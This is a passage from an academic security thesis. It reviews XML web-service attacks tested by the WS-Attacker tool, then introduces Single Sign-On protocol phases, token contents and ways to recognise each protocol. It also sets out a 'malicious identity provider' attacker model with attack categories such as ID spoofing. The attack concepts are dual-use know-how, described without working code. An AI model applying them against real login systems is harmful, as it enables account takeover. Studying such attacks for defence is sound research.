Nowadays, there exist numerous penetration testing tools for web applica-

tions. Nevertheless, most of the tools concentrate on the typical attack threats
such as XSS, SQL-Injection, or typical (non-XML) DoS attacks. Web service
specific DoS attacks are not in the scope of those tools.
The closest relation to our approach can be found in the tools SoapUI [203]

and WSFuzzer [1]. Both are developed for specifically testing web services plat-
forms. However, these tools support only few DoS-specific attacks and do not
introduce any metric for attack evaluation. SoapUI’s main application area is
the functional testing of a web service implementation, without a specific fo-
cus on security. Very recently, [88] proposed an automated testing approach
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for XML injection attacks in web services [88], but they did not consider more
complex attacks, such as XSW or XML Encryption.
At the time of writing this thesis, to the best of our knowledge, WS-Attacker

is the first fully-automatic penetration test tool for web service specific attacks.
It has been independently evaluated by Eggert and Fertich [50] in 2014.

Denial-of-Service. DoS attacks have been investigated for a long time, for
example, a survey is given by Prasad et al. [182] and recently by Nagesh et al.
[154]. In 2002 the Billion Laughs attack was discovered by [104] and combines
DoS with XML properties. The attack uses a DTD and recursive definitions
of Internal General Entity to blow up the size of an XML document during its
parsing. Attacks and defenses for the attack have been described by Sullivan
[215]. Jan et al. [89] and Morgan [149] conducted systematic analyses of various
XML parsers, not only focusing on DoS attacks, but also on XXE.
In 2012 Oliveira et al. [160] implemented a web service tool based on WS-

Attacker called WSFAggressor. It extends WS-Attacker with several DoS at-
tacks. However, in order to evaluate the attack success, this tool requires access
to the tested system. This prerequisite is not given by evaluating specific hard-
ware devices such as IBM DataPower [81], or pentesting sensitive customers’
servers. Moreover, this tool misses some important attack techniques such as
HashDoS [15, 236]. In 2015 Pellegrino et al. [179] studied data compression
attacks against several applications, including web services servers. In order to
execute an attack against a web service server, the attacker inserts a huge num-
ber of spaces into a SOAP message and compresses the message using a deflate
algorithm, which is, for example, used by ZLIB [41] and GZIP [40]. This way, a
compression ratio of about 1:1000 can be achieved. The authors reported that
Apache Axis2 and Apache CXF were vulnerable to these attacks. The attacks
are also integrated into WS-Attacker independently of this thesis. In the same
year, Oliveira et al. [161, 162] propose an experimental approach to assess the
performance of web services during attacks.

XML Encryption. In 1998 Bleichenbacher [19] published an attack on the
RSA-PKCS#1 v1.5 encryption scheme. He described the basic algorithm be-
hind the attack and how it can be applied to the SSL protocol if certain oracle
is given. Bardou et al. [11] improved Bleichenbacher’s attack and applied it to
RSA-PKCS#1 v1.5-based environments, for example, Hardware Security Mod-
ules. A variant of Bleichenbacher’s attack was explored by Degabriele et al.
[34] in the context of EMV signatures (where the same RSA key pair may be
used for both signature and encryption functions). In 2014 Zhang et al. [249]
showed that specific cross-tenant side channels allow for application of perfor-
mant Bleichenbacher attacks in Platform-as-a-Service (PaaS) environments. In
2002 Vaudenay [232] presented an attack on the CBC mode of operation. The
attack is possible due to a CBC property called malleability, which allows an
attacker to flip specific ciphertext bits without knowing the secret key. Strict
structure of the CBC padding is used to construct an oracle which responds with
1 or 0 according to the padding validity. Thus, the attack is called a padding
oracle attack.
The attacks presented in Section 2.6 are based on the attacks on symmetric
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and asymmetric encryption schemes in XML Encryption [86, 87]. These works
cover the cryptographic background behind the attacks and explain how to
apply them in simple scenarios where XML Signatures are used to protect mes-
sage authenticity. A complete analysis of countermeasures needed to be applied
against these attacks was published by Somorovsky and Schwenk [207]. This
work is one important foundation to design our fully-automatic approach for
the WS-Attacker plugin. As a response to the attacks, the W3C working group
included an AES-GCM algorithm into the newest XML Encryption 1.1 specifi-
cation and recommends to use RSA-OAEP [13]. However, an analysis of Jager
et al. [85] revealed that there are still possibilities for backwards compatibility
attacks, even if these secure cryptographic algorithms are supported. The only
prerequisite for the attacks is that the server also supports RSA-PKCS#1 v1.5
and CBC along with the secure algorithms. Backwards compatibility attacks
are not covered by our XML Encryption plugin.

2.8 Conclusions

This section summarizes our work of seven years in the area of XML and web
services security. Our four presented papers [4, 58, 110, 135] founded a solid
framework for web service penetration tests: WS-Attacker. WS-Attacker is
widely used and the de facto standard tool for evaluating the security of SOAP-
based web services. There is currently no other penetration test tool for web
services available that supports as many attacks as WS-Attacker does.
The limitation of WS-Attacker is of course its applicability: it can only be ap-

plied to SOAP-based web services. This does, however, not hold for the attacks
on XML parsers. During the design of our attacks and their implementation,
we already separated the attack algorithms from their concrete applicability
on SOAP. This design decision allows us to reuse our developed concepts in
different scenarios, which we describe in the next chapter.
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The usage of username/password combinations for authenticating at websites is
still dominating the Internet. From the security point of view, the management
of a plethora of login credentials is not a trivial task and carries many risks.
Users tend to use weak and easy-to-remember passwords or reuse passwords
among different sites. Even if password managers are used, attacks are still
applicable [113, 199].
Single Sign-On (SSO) systems simplify login procedures by using an Iden-

tity Provider (IdP) that issues authentication tokens (SSO tokens). The tokens
are then consumed by an Service Provider (SP). Instead of managing multiple
username/password combinations for each website, an End-User needs only one
account on an IdP. The support of SSO has become more important for many
websites in recent years since large companies like Facebook, Google, Microsoft
and Salesforce offer different SSO services. For instance, Facebook’s SSO ser-
vice Facebook Connect allows its users to connect their Facebook account with
various applications. More than 7 million applications use this protocol [241].
A non-academic overview [90] claims that 87% of U.S. customers are aware of
SSO and more than half have tried it.

Figure 3.1: Modern websites offer multiple social login possibilities.

Today, websites support different SSO protocols as depicted in Figure 3.1.
The most widespread protocols are the Security Assertion Markup Language
(SAML) [192], OAuth [76], OpenID [221], and OpenID Connect [223]. SAML
is a flexible and well standardized protocol offering extensive interoperability
features and is commonly used in enterprise solutions and governmental ser-
vices. OAuth, OpenID and OpenID Connect are mostly used for delegated
authentication and authorization for websites and mobile devices. Over the
years, companies have created and pushed their own SSO protocols: Facebook
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designed Facebook Connect on top of the OAuth specification. With Microsoft
Account [141], Microsoft also offers an SSO protocol which is based on OAuth.
Only Mozilla developed its SSO protocol BrowserId from scratch [29].
Contribution. This chapter makes the following contributions:

§ In a typical SSO protocol, three entities are involved: the (1.) End-User,
who wants to log in to a (2.) SP, by using his (3.) IdP (e.g., Google).
We show that modern SSO protocols can be divided into three phases.
The phases are identified by the respectively involved entities. We show
that they can be found on any modern SSO protocol such as OpenID and
OpenID Connect and contribute to the generic understanding of the SSO
protocols. For the first time, the whole protocol is taken into account
revealing new insights that we use for novel attack concepts.

§ We introduce a new SSO Attacker Paradigm. It is based on the idea
of a malicious IdP. We show that this approach can be used to launch
new classes of attacks on SSO ecosystems, which are breaking the End-
User authentication, accessing locally stored files on a server, or starting
efficient Denial-of-Service (DoS) attacks.

§ We systematically categorize numerous attacks on SSO by using the con-
cept of phases. Simple attacks that only take place in one phase are cat-
egorized as Single-Phase Attacks. We present a methodology how to cre-
ate such attacks for arbitrary SSO protocols based on information classes
(identity, freshness, recipient, cryptography) contained in an SSO token.

§ We extend our concept to Cross-Phase Attacks. These attacks manipulate
multiple SSO phases and reveal a much more complex attacks concept.
We elucidate that a missing binding between SSO phases lead to serious
security flaws.

§ We apply Single-Phase Attacks and Cross-Phase Attacks to the popular
SSO protocols OpenID, OpenID Connect, and SAML. We evaluate online
websites and software libraries using the SSO Attacker Paradigm and we
identify a plethora of security vulnerabilities.

§ We detect a specification flaw in OpenID Connect using our Cross-Phase
Attacks concept. As a result, the specification is currently being updated
and the community publicly acknowledged our work [115].

Outline. We first describe SSO in general and classify the protocol phases
in Section 3.1. In Section 3.2, we briefly categorize the protocols OAuth,
OpenID Connect, Facebook Connect, Microsoft Account, SAML, OpenID, and
BrowserId according to the three phases and thereby show the applicability of
our classification. In Section 3.3, we discuss the different approaches how to
analyze SSO and present the SSO Attacker Paradigm as a result in Section 3.4.
Section 3.5 describes general Single-Phase Attacks on SSO, while Section 3.6
deals with the concept of Cross-Phase Attacks. We then map the attack con-
cept to concrete SSO protocols. In Section 3.7, we adapt them to OpenID,
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in Section 3.8 to OpenID Connect, and finally in in Section 3.9 to SAML. All
attacks are applied in the context of a practical security evaluation to show the
feasibility of the SSO Attacker Paradigm. Section 3.10 takes the lessons learned
and we present related work in Section 3.11. Section 3.12 concludes this chap-
ter. The results of this chapter are based on our publications “Do not trust me:
Using malicious IdPs for analyzing and attacking Single Sign-On” [132], “SoK:
Single Sign-On Security – An Evaluation of OpenID Connect” [134], and “Your
Software at My Service: Security Analysis of SaaS Single Sign-On Solutions in
the Cloud” [129].

3.1 Conceptual Overview on Single Sign-On Protocols

This section provides a short overview of existing SSO protocols used in the
web.

3.1.1 Protocol Phases

SSO is a concept to log in an End-User at an SP without storing any credentials
on the SP. SSO therefore uses an IdP as a Trusted Third Party (TTP). The
IdP creates an SSO token and sends it back to the End-User, who then passes
it to the SP.

User UA SP IdP

(1.) Login Request

(2.) Information Gathering

(3.) Token Request

(4.) Authentication

(5.) Token Response

(6.) Token Verification

(7.) Success?

Phase 1:
Trust Establishment

Phase 2:
Token Generation

Phase 3:
Token Redemption

Figure 3.2: The generic protocol flow for SSO can be divided into three phases.

A generic description of SSO protocols is depicted in Figure 3.2. It illustrates
an abstract protocol flow for modern SSO protocols like OpenID, OpenID Con-
nect, SAML and Facebook Connect. We divided the flow into three phases,
depending on the information flow: (1.) the Trust Establishment Phase between
the SP and the IdP, (2.) the Token Generation Phase between the End-User
and the IdP, and finally (3.) the Token Redemption Phase between the SP and
the IdP.
As depicted in Figure 3.2, the SSO protocol starts with the End-User’s Login

Request (Step 1). By using his user agent, he submits, for example, his email
address (BrowserId) or his identifier URL (OpenID, OpenID Connect) to the
SP.
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Phase 1: Trust Establishment.

(2.) In some SSO protocols, the SP contact the IdP directly (server-to-server
communication, e.g., in OpenID and OpenID Connect). The communi-
cation is commonly used for establishing key material. Later on, it is
used to sign and verify the messages or to determine the endpoint inter-
faces of the IdP. Such an endpoint is, for instance, the login page to the
IdP for the End-User. This phase typically consists of multiple messages
exchanged between the SP and the IdP. In other SSO protocols, for exam-
ple, in SAML, trust is established by exchanging key material (certificates)
manually beforehand.

Phase 2: Token Generation.

(3.) The SP responds to the Login Request with a Token Request. The Token
Request is then forwarded to the IdP by the End-User (to be more precise,
by his user agent).

(4.) The End-User then authenticates to his IdP, typically by entering his
username/password combination. Some protocols and IdPs require further
user interaction in order to authorize the access to End-User’s data, such
as the email address, nickname, birthday or gender. This step is often
opaque for the User if he is already authenticated on the IdP.

(5.) Next, the IdP sends the Token Response to the End-User. This message
contains all information that is necessary for the SP to identify the End-
User, as explained in the next section. The message is forwarded by the
End-User’s user agent to the IdP.

Phase 3: Token Redemption.

(6.) The SP can then contact the IdP again to verify the Token Response.
This is an optional phase and some SSO protocols do not use it because
alternatively to this phase the SP must verify the SSO token on its own
without contacting the IdP.

If the token is successfully verified, the user is logged in Step 7.

3.1.2 SSO Token

An SSO token contains information about the End-User to be authenticated. As
previously depicted, the token is created by the IdP and transported to the SP.
It contains different information classes, which are described in the following.

Identity. An SSO token is used to authenticate an End-User at the SP. There-
fore, it must contain statements concerning the End-User’s identity. SAML,
for example, commonly uses email addresses for this purpose. In contrast,
OpenID uses a unique URL per-user. Identity information can be arbi-
trarily chosen by the IdP and must be understood by the SP – they have
to use the same parameter.
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Recipient. Each SSO token has one or more intended recipients. This means
that the token specifies which SP is allowed to consume the token. For
example, in SAML, this is the URL of the SP. OpenID Connect and
OAuth in contrast use the client_id parameter which can be seen as the
username of the SP on the IdP.

Freshness. For preventing replay attacks or for ensuring the single-use of an
SSO token, freshness parameters are used. Typically, nonces or time-
stamps indicating the token’s creation or expiration time are utilized for
this.

Cryptography. To protect the integrity or the confidentiality of the SSO token,
cryptographic operations are applied. Most SSO protocols rely on a signa-
ture or an HMAC [107]. This is essential if the SSO token is transferred
via the End-User’s user agent. In OpenID Connect, for example, a token
can also be transferred directly from the IdP to the SP and a signature is
optional. The cryptography information class covers all details required
to execute cryptographic operations. This includes key information, for
example, the <ds:KeyInfo> element in SAML, or the algorithm to be
executed.

The SSO token contains all of this information in a specific data format.
By way of example, SAML relies on XML to structure the data. In OpenID
Connect, a JSON Web Token (JWT) is used [95]. The token can addition-
ally be compressed (e.g., by using GZIP [40]) or encoded (Base64 [98], URL
encoded [14]).
Once the SP receives the Token Response, it must decode, decompress, and

then parse the SSO token in order to access the information.

3.2 Single Sign-On Protocol Classification

In this section, we give a short introduction to different SSO protocols . In order
to analyze popular SSO protocols, it is essential to show that the conceptual
model can be applied to concrete protocol implementations. In the following, we
map protocol messages of various SSO systems to the abstract SSO description
presented in the previous section. We additionally highlight technical difference
between similar protocols, which is important in the case of black-box penetra-
tion testing, in order to identity the underlying protocol. A reader not interested
in such tests can safely skip the mentioned implementation details and concen-
trate on the mapping of protocol message to the conceptual SSO model. Please
note that we give more detailed descriptions on OpenID in Section 3.7.1, on
OpenID Connect in Section 3.8.1, and on SAML in Section 3.9.1.
The results of this section are based on our paper “Automatic Recognition,

Processing and Attacking of Single Sign-On Protocols with Burp Suite” [130].
We distinguish between seven different SSO protocols classify them into two

categories, as shown in Table 3.1: (1.) SSO protocols part of theOAuth-Family
and (2.) other protocols.
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OAuth-Family Other
Decentralized Monolithic Decentralized Monolithic

OAuth [76] Facebook Connect [150] OpenID [221] BrowserId [29]
OpenID Connect [223] Microsoft Account [141] SAML [192]

Table 3.1: Classification of existing web SSO protocols.

The OAuth-Family consists of four different protocols: (1.) OAuth itself [76]
and (2.) OpenID Connect, which is an extension of the original OAuth proto-
col [223]. Both protocols can be used decentralized, for instance, the protocol
is independent of a specific provider. (3.) Facebook Connect [150] and (4.) Mi-
crosoft Account [141] in contrast are monolithic because they rely on the Face-
book respective Microsoft servers. Other protocols are (1.) OpenID [221] and
(2.) SAML [192], which are both decentralized, and BrowserId [29], which is
monolithic.1

3.2.1 OAuth-Family Protocols

In the following, we give a short overview of protocols part of to the OAuth-
family. We do not provide details on how the protocols work, but rather con-
centrate on the aspects that are necessary to distinguish them from each other.

3.2.1.1 OAuth

OAuth is an authorization framework that allows delegating access on specific
resources to a third party [76]. OAuth itself is not an SSO protocol [191], but
previous research has shown that developers tend to use it falsely for SSO [25].
As depicted in Figure 3.2, OAuth follows this protocol flow:

(1.) The End-User sends his Login Request to the SP.2

(2.) The OAuth protocol does not use the information gathering phase because
all information on the IdP3 is configured once beforehand.4

(3.) According to the specification [76] the following parameters are required
within the Token Request: response_type and client_id. The param-
eter response_type determines the flow that is going to be used. The
most common values are code to initiate the Authorization Code Grant
and token to start the Implicit Grant flow. Other flows can be found in
the specification [76]. The parameter client_id is a unique string that

1BrowserId allows one to setup one’s IdP (Primary IdP -feature), but even in this use case,
the protocol contacts the Mozilla server at login.persona.org first.

2In the context of OAuth, the End-User is commonly referred to as the Resource Owner
and the SP as the Client. To simplify the description and to unify all SSO protocols, we
strictly use the terms user and SP.

3Again, we use the term IdP instead of the OAuth term Authorization Server. We also use
the term IdP for the Resource Server.

4There are currently a Draft [96] and an RFC Extension [97] available adding this function-
ality to OAuth, but we do not consider them here.
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allows the IdP to identify the SP (similar to a username for the SP). Fur-
ther optional parameters which can be used to identify an OAuth Token
Request are: scope for requesting permissions (e.g., the address-book or
the calendar), state and redirect_uri.

(4.) Then the user has to authenticate himself to the IdP and authorize the
requested permissions (scope) to the SP.

(5.) The IdP generates the Token Response. If the Authorization Code Grant
flow is used, the Token Response includes a code parameter. For the
Implicit Grant flow, it contains an access_token parameter.

(6.) The SP uses the received code or access_token to retrieve information
about the End-User and its resources.

3.2.1.2 OpenID Connect

OpenID Connect is a decentralized SSO protocol which has been created by
adding an authentication layer to OAuth [223]. The general flow is almost
identical to OAuth as described in the previous section. Thus, the distinction
between OpenID Connect and OAuth is not trivial and requires fine comparison.
According to the specification, the Token Request must contain the following

parameters: scope, client_id, response_type, redirect_uri. Unfortunately,
these parameters are commonly used in OAuth, too. A distinction between
OAuth and OpenID Connect by a simple observation of protocol parameters
is not possible. However, in OpenID Connect the Token Request must contain
the value openid in the scope parameter. Additionally, the Token Request can
contain the parameter nonce, which is required within the Implicit Grant flow.
Based on these characteristics the Token Request can be recognized.
The recognition of OpenID Connect Token Responses is more complicated and

requires more detailed distinction. Within the Implicit Grant flow an additional
parameter id_token will be sent by the IdP to the SP. The id_token is used
only in OpenID Connect and provides information about the authenticated user.
Thus, the identification of the Token Response is simple.
The OpenID Connect Token Response within the code flow is identical to the

OAuth flow. The only way to provide the distinction is to check the according
Token Request sent before and bind both messages. This binding can be done
by using parameters like client_id, state and redirect_uri, which are sent
in the Token Request and Token Response.

3.2.1.3 Facebook Connect

Facebook Connect is a monolithic SSO protocol. It is based on OAuth and uses
the same protocol flow as described in Section 3.2.1.1.
The Token Request within the Facebook Connect protocol can be recognized

by the following characteristics:

§ The scope parameter can contain the value signed_request.

81



3 Single Sign-On Security

§ In addition to the required OAuth parameters within a Token Request,
the following parameters are sent: domain, origin, sdk, app_id.

Similarly to the recognition of OpenID Connect, the recognition of the Token
Response is not trivial. Within the token flow, the parameter signed_request
can be used. The value of this parameter is a JWT [95] containing informa-
tion about the authenticated user. Similarly to OpenID Connect, the binding
between the Token Request and Token Response via parameters like client_id
, state, redirect_uri can be used.
Since Facebook Connect is monolithic, the flow can be identified the publicly

known endpoints of Application Programming Interface (API), for instance,
https://graph.facebook.com.

3.2.1.4 Microsoft Account

Microsoft Account is a monolithic SSO protocol. It is based on OAuth and uses
the same protocol flow as described in Section 3.2.1.1. The Token Request of
Microsoft Account can be easily detected by observing the scope parameter,
which contains one of the following values: wl.basic, wl.offline_access, wl
.signin.
Similar to OpenID Connect and Facebook Connect, the recognition of the

Token Response comes with the same problems, but since Microsoft Account is
monolithic, we can use the endpoints, for instance, https://login.live.com/
oauth20_authorize.srf, to identify it.

3.2.2 Other SSO Protocols

In the following sections, we describe SSO protocols that are not based on
OAuth. We focus again on the properties which are important to identify the
protocol rather than giving a complete protocol description.

3.2.2.1 SAML

SAML is a decentralized SSO protocol that uses XML to describe the security
token. In the SAML protocol flow, there is commonly no interaction between
the SP and the IdP, so Steps 2 and 6 in Figure 3.2 are skipped.5 The protocol
flow is as follows:

(1.) The End-User submits his Login Request to the SP.

(3.) The SP generates the Token Request. It contains the SAMLRequest pa-
rameter. The value of the parameter is basically XML and contains infor-
mation on the IdP to be used (e.g., its URL). It is compressed by means of
the deflate algorithm [39] (optional), and then encoded using Base64 [98]
followed by an URL-encoding [14].

(5.) The IdP generates the Token Response. It is again XML that is encoded
using Base64 and optionally using URL-encoding. The result is stored in
a parameter named SAMLResponse.

5An exception to this is the SAML Artifact Binding [192, Section 4.1.3].
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3.2.2.2 OpenID

OpenID is a decentralized SSO protocol, but the main difference, for example,
to SAML, is its dynamic (on-the-fly) Trust Establishment Phase. Therefor, an
arbitrary IdP can be used to login at the SP without any pre-configuration.

(1.) The End-User submits his OpenID identifier it to the SP as shown in
Figure 3.2.

(2.) The OpenID identifier is a URL, which the SP discovers in this step by
visiting it. In this means, the SP retrieves further information regarding
the IdP in the response.

(3.) The SP generates the Token Request and sends it back to the user.
OpenID messages can be easily distinguished from other SSO protocols
since all relevant parameters start with openid.*. Message (3.) can be
identified by the parameter openid.mode=checkid_setup.

(4.) Authentication to the IdP is provided as usual.

(5.) The IdP then generates the Token Response. This message can be identi-
fied due to the presence of a signature with parameter openid.sig.

(6.) The SP can optionally send the Token Response to the IdP and sets openid
.mode=check_authentication or it can choose to verify the signature on
its own.

3.2.2.3 BrowserId

BrowserId is a monolithic SSO protocol developed by Mozilla and using Mozilla’s
server as an IdP during the authentication process. Interestingly, using arbitrary
IdPs is possible in BrowserId. However, Mozilla’s SSO API is always called
within the protocol flow.
The recognition of BrowserId is possible by the detection of the HTTP pa-

rameter assertion containing information about the authenticated user within
a JWT and a cookie named browserid_state. In addition, a JavaScript Object
Notation (JSON) message containing key material can be used for the detection.
The following parameters occur within the message: pubkey, p, q, g, algorithm,
duration and email.

3.2.3 Summary

In Table 3.2, we summarize the technical details for the detection of the To-
ken Request and the Token Response. We used this information for creating
EsPReSSO, a Burp Suite extension which automatically identifies the underly-
ing SSO protocol [75]. We do not go into detail of EsPReSSO in this thesis and
refer to our paper for more information [130].
In the remaining part of the chapter, we have a closer look at the SSO pro-

tocols SAML, OpenID, and OpenID Connect thereby relying on the results of
our research [129, 132, 134].
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Protocol Message Type Recognition
OAuth Token Request Parameter: response_type

Token Response Parameter: code OR access_token
OpenID Connect Token Request Parameter: scope contains openid,

nonce
Token Response Parameter: id_token

Facebook Connect Token Request Parameter: domain, origin,
sdk, app_id, scope contains
signed_request

Token Response Parameter:
signed_request, domain, origin,
sdk, app_id

URL http://static.ak.facebook.com/

connect/xd_arbiter

https://graph.facebook.com

Microsoft Account Token Request Parameter: scope contains wl.basic,
wl.offline_access or wl.signin

Token Response Parameter: authentication_token
URL https://login.live.com/oauth20_

authorize.srf

https://apis.live.net

https://www.contoso.com/callback.htm

SAML Token Request Parameter: SAMLRequest
Token Response Parameter: SAMLResponse

OpenID Token Request Parameter:
openid.mode=checkid_setup

Token Response Parameter: openid.sig
BrowserId Token Request Parameter: assertion, cookie

browserid_state
Token Response Parameter:

openid.mode=
check_authentication

Table 3.2: SSO recognition and distinction.

3.3 How to Analyze SSO?

This section aims at finding an answer to the question, how to analyze such an
SSO protocol in general. We therefore studied previous work systematically and
identified different categories of techniques.

Manual Analysis. Most research starts by manually testing and analyzing pro-
tocols as well as implementations. This approach offers great flexibility,
whereas it fails when it comes to large-scale analysis. Nevertheless, man-
ual analysis has been applied in different research and was also used in the
beginning of all evaluations described in this section [129, 132, 134]. The
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biggest downside of manual analysis is that it is not suitable for analyzing
a larger number of SSO libraries or websites.

Formal Analysis. A formal analysis is helpful for finding generic flaws in proto-
cols, but it is unable to detect issues in implementations. It is beneficial to
have a formal security proof for a protocol since it allows to determine that
most likely, the only vulnerabilities left are caused by implementation mis-
takes. Previous research has formally analyzed SAML [8], BrowserId [62],
and OAuth [61].

Code Analysis. Another approach for analyzing SSO protocols is code analysis.
There are basically two approaches for it. First, there is static code analy-
sis, during which the code is only analyzed without running it, and second,
dynamic code analysis. Code analysis heavily depend on the underlying
programming language and can only find security issues if the language
is supported. This is a strong downside because SSO libraries are imple-
mented in various languages. Another disadvantage which is more severe
is that the code to be analyzed must be available. This is feasible for
library analysis, but for analyzing online websites, this approach is not
possible.

Message Invariants. The message invariants technique was introduced byWang
et al. [238] in 2012. The basic concept behind it is to analyze HTTP traffic
that is recorded in the user agent. The approach then links HTTP Re-
quests which reuse parameters from previous responses and automatically
marks unprotected ones, for example, if a signature is missing. By this
means, points of attacks are identified. The downside of this approach is
that it cannot modify parameters protected by a signature. Thus, some
attacks are not detected, which we present in this section (e.g., ID Spoof-
ing Section 3.5.1).

In the following, we describe our new approach for analyzing SSO which
counters the described disadvantages.

3.4 Using Malicious IdPs for Analyzing SSO

All previously shown SSO protocols rely on a TTP issuing SSO tokens. Pre-
vious work considered IdPs to play the role of such a TTP [217, 238]. In the
following, we introduce a new SSO Attacker Paradigm that uses a malicious IdP
for analyzing and attacking SSO protocols. This approach is controversial to
previous work, and is based on one simple question.

3.4.1 Are IdPs really TTPs?

Since IdPs issue signed statements about the identity of other entities (i.e.,
End-Users) on the Internet, one may be tempted to compare an IdP with a
certification authority (CA), which issues X.509 certificates. While this com-
parison may hold for very large IdPs like Facebook, Google and Twitter, it is
not correct for the majority of IdPs.
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The structure of the X.509 PKI allows any CA to make trust statements on
any other entity, and all consumers must trust this statement. Thus, malicious
CAs – or compromised CAs (cf. the Comodo [83] and Diginotar [66] security
breaches) – compromise the security of the whole X.509 PKI.
On the other hand, IdPs have a limited scope: they should only issue security

tokens for users who are registered at this particular IdP, and their statements
will only be trusted by certain SP, or by certain compartments of an IdP. Thus,
configuring a malicious IdP for one account/compartment of an SP should not
influence the security of other compartments at the same SP.
As an example, Salesforce may be considered as a Software-as-a-Service (SaaS)

provider for Customer Relationship Management (CRM). Companies may out-
source their CRM system to Salesforce, but typically want to retain control on
who should be able to see and modify their customer data. Thus, each company
runs a separate IdP, and Salesforce enforces a strict separation between different
company accounts/compartments (Figure 3.3a).6

IdP
Company 1

IdP
Company 2

IdP
Company 3

Malicious
IdP

Account
Company 1

Account
Company 2

Account
Company 3

Account
Attacker

Salesforce.com

(a) SPs like Salesforce enforce a strict sep-
aration between compartments. A mali-
cious IdP can only attack its own one.

IdP
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IdP
Company 2

IdP
Company 3

Malicious
IdP

Account
Company 1

Account
Company 2

Account
Company 3

Account
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Drupal.com

(b) OpenID-based SPs like Drupal allow
a malicious IdP to compromise all other
compartments.

Figure 3.3: Comparison of the impact of malicious IdPs.

New SSO Attacker Paradigm. If an attacker runs a malicious IdP, we would
expect that no serious harm can be done in a secure SSO system: only the com-
partment on the SP configured to use this malicious IdP should be endangered.
Unfortunately, we were able to show that this is not the case for many SSO
implementations: here a malicious IdP can compromise all accounts/compart-
ments at the SP (Figure 3.3b).
Please note that the concept of malicious IdPs compromising its own accounts

is not new. In this conventional sense, only those accounts controlled by the
malicious IdP can be compromised. In contrast, the new attacks presented here
allow an attacker to log in to accounts controlled by other honest IdPs.
The setup and usage of malicious IdPs is possible since protocols, such as

OpenID, introduce a novel open concept of delegated authentication – the user
identifier is a fully qualified URL like https://google.com/Alice.7 Based on this
novel concept – the usage of fully qualified URLs for authentication, the SP

6Salesforce supports, e.g., the SAML SSO system.
7Please note that e.g., https://google.com/Alice is a completely different identity in compar-
ison to https://microsoft.com/Alice.
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does not have any predefined trust relationship with a specific IdP, but only
implicitly trusts an IdP because the name of this IdP was discovered through
the identity/URL of a user. We defined this as information gathering in the
previous section. Thus, the concept of compartment for SP resembles one subset
in a partition of the user set: each user selects exactly one IdP.
Since it is easy for anyone to run an IdP, we extended the previously known

attack methodology and systematically considered malicious IdPs. By running
a malicious IdP, we enhance the attacker’s capabilities: he is able to read and
manipulate all messages received to and sent from the malicious IdP, even for
messages that do not pass through the user agent. Thus, the attacker has better
control over the SSO message flow, which results in a more thorough security
analysis of SSO.
The general concept of malicious IdP can be applied to all current SSO pro-

tocols. It is a requirement for a successful attack that the protocol is open and
supports information flows similar to the Discovery and Association of OpenID.
The idea of the Discovery and Association are not unique to OpenID. Modern
SSO systems like OAuth [97], OpenID Connect [224, 225], and BrowserId have
similar phases.

3.4.2 SSO Attacker Paradigm: Security Model

We use the following security model for analyzing SSO protocols and their im-
plementations.
Computational Model. In modern SSO protocols like OpenID or OpenID
Connect, there is a conditional trust relationship between SP and IdP: the SP
trusts tokens created by any IdP, as long as the identity asserted therein belongs
to the IdP. Thus, it is easy to enforce the usage of a custom IdP into such an
ecosystem, whereby this IdP can act honestly and maliciously. In addition to
acting as a malicious IdP (IdPA), the attacker can act as a malicious End-User
or run a malicious SP (SPA).
As a result, we control each type of communicating entities in the SSO system

to be inspected. We also control (and are thus able to modify) all types of
messages. For analyzing SSO implementations, this is of special interest and
leads to the applicability of new discovered attack classes. Please note that
control over all types of messages should not be confused with control over all
messages: we cannot access messages exchanged between honest parties (e.g.,
IdP and SP ), but we can access messages exchanged with IdPA (and SP ).
SSO Attacker Paradigm. The goal of the attacker is to access a protected
resource to which he has no entitlement. This commonly means that the attacker
can log in to the SP with the identity of the victim. Another example for
a successful attack is that the attacker gets, for example, File System Access
(FSA) on the SP. To achieve this goal, he may use the resources of a web attacker
only: he can set up his own web applications and he can lure victims to them.
In summary, the web attacker can play different roles in an SSO environment:

(1.) Malicious End-User. The attacker can start an SSO session like any
other legitimate End-User. The attacker can manipulate his user agent
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and thus modify HTTP parameters. Note that the attacker’s identity IDA
belongs to IdPA, but the victim’s identity IDV belongs to IdPV .

(2.) Malicious IdP. The malicious IdP (IdPA) in our model is able to gen-
erate valid as well as malformed authentication tokens (attack tokens).

(3.) Malicious SP. For all of our attacks, we never used any special properties
of SPA. The only requirement that we make use of is that the attacker
controls a domain (URL.A) which is accessible on the Internet.

Threat Model. We present two classes of attacks in the following: (1.) Single-
Phase Attacks and (2.) Cross-Phase Attacks. All attacks presented in this thesis
have been strictly verified in the web attacker model [12] and their impact can
be distinguished by its prerequisites:

§ Category A (Cat A) attacks require some interaction of the victim. There
are mainly two possibilities. First, the victim must click on a link. This
mainly resembles a Cross-Site-Request-Forgery (CSRF) [169] attack ac-
cording to the web attacker model. Second, the attacker got access to an
expired token. For example, if it has been posted on some web support
forum or the attacker had a valid account for a limited time. Attacks
belonging to Cat A are limited in their impact because the attacker can
only log in with one specific victim identity.

§ Category B (Cat B) attacks are stealthy for a victim because they do
not require him to interact in any way with the attacker. This makes
Cat B attacks more powerful than Cat A attacks: attacks belonging to
this category can be used to log in with an arbitrary identity on the SP.

A typical example of a Cat A attack is Replay. An example of a Cat B attack
is a Signature Bypass. More examples are given in the following section.

Eavesdropping or manipulating network communications is neither allowed
nor required by the attacker. We additionally assume the victim to not use
compromised software, TLS channels to be secure, and exclude phishing at-
tacks.

3.5 Single-Phase Attacks

By conducting an extensive research on the SSO protocols presented in Sec-
tion 3.1, we are the first who categorize attacks on SSO into the followings
generic classes: Single-Phase Attacks and Cross-Phase Attacks. We observed
that most SSO attacks abuse a missing or insufficient verification step at a single
point within the SSO protocol, for example, at the SP while receiving the SSO
token. We call these attacks Single-Phase Attacks if the issue appears in one
specific phase of the protocol. Detecting such vulnerabilities is relatively easy
since a Single-Phase Attack can be conducted by only manipulating at most one
message in one phase of the protocol.
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In the following, we systematically analyze this class of attacks with reference
to the generic description of an SSO token as shown in Section 3.1.2. This
section is intended to give a general idea of the attack. It does not describe how
to implement this attack for a specific protocol. We show precisely how to adapt
the concept to OpenID in Section 3.7.2, to OpenID Connect in Section 3.8.2,
and to SAML in Section 3.9.3.

3.5.1 Single-Phase Attack: ID Spoofing (Cat B)

ID Spoofing (IDS) attacks are targeting the parameters in an SSO token that
represent the identity of the user. The general idea of this attack is as follows:
the attacker starts the Login Request on the target SP and uses his own ma-
licious IdP. This malicious IdP creates an SSO token in the Token Response,
but instead of using the identity information representing the attacker, it uses
the data belonging to the victim. The trick is that the victim’s identity belongs
to a different IdP, for example, Google (IdPV), while the attacker’s identity is
